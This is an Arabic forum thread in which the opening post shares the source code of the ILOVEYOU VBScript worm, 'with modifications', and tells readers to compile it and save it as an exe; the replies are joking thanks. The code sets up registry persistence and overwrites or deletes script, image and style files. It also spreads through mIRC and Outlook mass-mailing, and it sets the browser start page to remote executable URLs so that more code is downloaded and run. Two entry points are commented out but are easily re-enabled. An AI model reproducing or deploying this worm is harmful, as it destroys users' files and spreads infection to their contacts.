iraqi_610 مشرف منتدى برامج الكومبيوتر ، مشرف منتدى المسلسلات الاجنبية ، مشرف منتدى الافلام الاجنبية
عدد الرسائل : 260 العمر : 35 العمل/الترفيه : طالب ثانوية عامة الاقامة : عراقي في مصر تاريخ التسجيل : 10/12/2007
| موضوع: فايروس الحب الثلاثاء ديسمبر 11, 2007 4:07 pm | |
| هذا هو كود فايروس الحب بالفيشوال بيسك مع تعديلات التعديلات هي
html files destroyer
افتح الفيشوال بيسك وحلي هذا الكود بالفورم الرئيسي
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d
ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll
REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.
sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if
Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns() html() REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation. listadriv() end sub
sub regruns() On Error Resume Next Dim num,downread regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs" regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf
7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j
nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V
bvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras
djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy
7thjg/WIN-BUGSFIX.exe" end if end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr
entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank" end if end sub
sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub
Sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files
for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if
if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com/" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub
sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders
for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next
end sub
sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub
function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function
function fileexist(filespec)
On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if
fileexist = msg end function
function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function
sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega
d set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a) if (regv="") then regv=1 end if
if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub ملاحظة هامة يحفظ بمتداد exe
تحياتي الكم فهد عوف [/size]
| |
|
(¯`.IR@QI & PROUD.°¯) مدير المنتدى , مشرف منتدى الاغاني العراقية , مشرف منتدى الجامعة العربية المفتوحة
عدد الرسائل : 324 العمر : 35 الموقع : https://3liraqi.ahlamontada.com العمل/الترفيه : Student in Glendale Commuinity College الاقامة : Arizona - United State تاريخ التسجيل : 09/12/2007
| موضوع: رد: فايروس الحب الأربعاء ديسمبر 12, 2007 9:40 am | |
| مشكور حب بس الله يبعدنه على الفايروسات هههههههههههههههههههه | |
|
محمود حامد مشرف منتدى الصور
عدد الرسائل : 88 العمر : 36 العمل/الترفيه : طالب الاقامة : لبنان تاريخ التسجيل : 12/12/2007
| موضوع: رد: فايروس الحب الخميس ديسمبر 13, 2007 9:27 am | |
| انهجم بيته للي سواه شنو هذا ميدوخ اني دا اقراه دخت ههههههههههههههههههههههههههههههههههههههه بس هم عاشت ايدك حبي تقبل مروري | |
|
iraqi_610 مشرف منتدى برامج الكومبيوتر ، مشرف منتدى المسلسلات الاجنبية ، مشرف منتدى الافلام الاجنبية
عدد الرسائل : 260 العمر : 35 العمل/الترفيه : طالب ثانوية عامة الاقامة : عراقي في مصر تاريخ التسجيل : 10/12/2007
| موضوع: رد: فايروس الحب الخميس ديسمبر 13, 2007 4:26 pm | |
| هههههههههههههههه الف هلة حبي محمود وهذا واحد حشاش الي وسواه احمد حبي مشكور على المرور | |
|
dragon boy عضو كام يشتغل
عدد الرسائل : 68 العمر : 34 العمل/الترفيه : كره الطاوله _عزف الموسيقى الاقامة : مصر تاريخ التسجيل : 12/12/2007
| موضوع: رد: فايروس الحب الجمعة ديسمبر 14, 2007 2:06 pm | |
| هههههههههه
تسلم على هذه الفايروسات | |
|
iraqi_610 مشرف منتدى برامج الكومبيوتر ، مشرف منتدى المسلسلات الاجنبية ، مشرف منتدى الافلام الاجنبية
عدد الرسائل : 260 العمر : 35 العمل/الترفيه : طالب ثانوية عامة الاقامة : عراقي في مصر تاريخ التسجيل : 10/12/2007
| موضوع: رد: فايروس الحب السبت ديسمبر 15, 2007 9:14 am | |
| مشكور اخوية علاوي على المرور | |
|